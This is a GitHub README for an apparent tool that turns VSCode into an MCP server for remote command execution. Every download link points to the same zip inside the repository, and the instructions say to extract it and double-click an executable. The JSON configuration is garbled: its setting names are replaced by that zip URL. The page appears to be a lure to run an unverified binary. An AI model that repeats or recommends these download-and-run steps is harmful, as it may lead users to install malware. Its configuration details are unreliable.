Skip to content

🌐 Transform VSCode into an MCP server with real-time HTTP Streaming support, enabling remote execution of commands and workspace information retrieval.

License

Notifications You must be signed in to change notification settings

antonio0218/vscode-internal-command-mcp-server

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ vscode-internal-command-mcp-server - Turn VSCode Into an MCP Server

Download Now

πŸš€ Getting Started

This guide helps you download and run the vscode-internal-command-mcp-server. This application allows you to use Visual Studio Code (VSCode) as a Model Context Protocol (MCP) server. You can run VSCode commands from external clients easily.

πŸ“¦ Download & Install

To get started, visit this page to download the latest release: Download Page.

Once you have accessed the download page, follow these steps:

1. Choose a Release

  • Look for the most recent version.
  • Download the suitable file for your operating system. This may be a .zip, https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip, or another format.

2. Extract the Files

  • Locate the downloaded file on your computer.
  • Extract the contents to a folder of your choice.

3. Run the Application

  • Open the extracted folder.
  • Double-click the executable file to run the application.

βš™οΈ Configuration

You may need to configure certain settings in VSCode. Follow these steps to set up the server parameters effectively:

  1. Open VSCode and navigate to the settings.

  2. Search for "vscode-internal-command-mcp-server".

  3. Adjust the following settings as needed:

{
    "https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": 8080,
    "https://raw.githubusercontent.com/antonio0218/vscode-internal-command-mcp-server/main/folkland/vscode-internal-command-mcp-server.zip": ["command1", "command2"]
}

Key Settings

  • Port: Set the port number where the server will listen. The default is 8080.

  • Command Whitelist: Specify the commands you want to allow for remote execution.

πŸ”§ Features

The vscode-internal-command-mcp-server provides several features:

  • HTTP Streaming Support: Enables real-time communication through text/event-stream.

  • Execute VSCode Commands Remotely: Run any internal VSCode command from external clients.

  • Workspace Information Queries: Retrieve information about the current workspace and files.

  • Asynchronous Execution: Run commands in the background without freezing the user interface.

  • Configurable Delays: Set delays for command execution as needed.

  • Security Controls: Supports a command whitelist mechanism for added security.

  • Real-Time Status Monitoring: Display server status in the VSCode status bar.

  • MCP Protocol Compliance: Fully compatible with the Model Context Protocol standards.

  • High Performance: Built on the FastMCP framework, it supports concurrent requests.

  • Health Check Endpoints: Built-in endpoints to monitor server health.

πŸ“‹ System Requirements

Before installation, ensure your system meets the following requirements:

πŸ’‘ Troubleshooting

In case you face issues:

  • Ensure that your firewall allows traffic on the specified port.
  • Check for any dependency issues and remedy them by following the instructions in the terminal or command prompt.

πŸ“„ License

This project is licensed under the MIT License. You can modify it according to your needs, but please provide attribution to the original source.

For additional resources, visit: Download Page.

About

🌐 Transform VSCode into an MCP server with real-time HTTP Streaming support, enabling remote execution of commands and workspace information retrieval.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •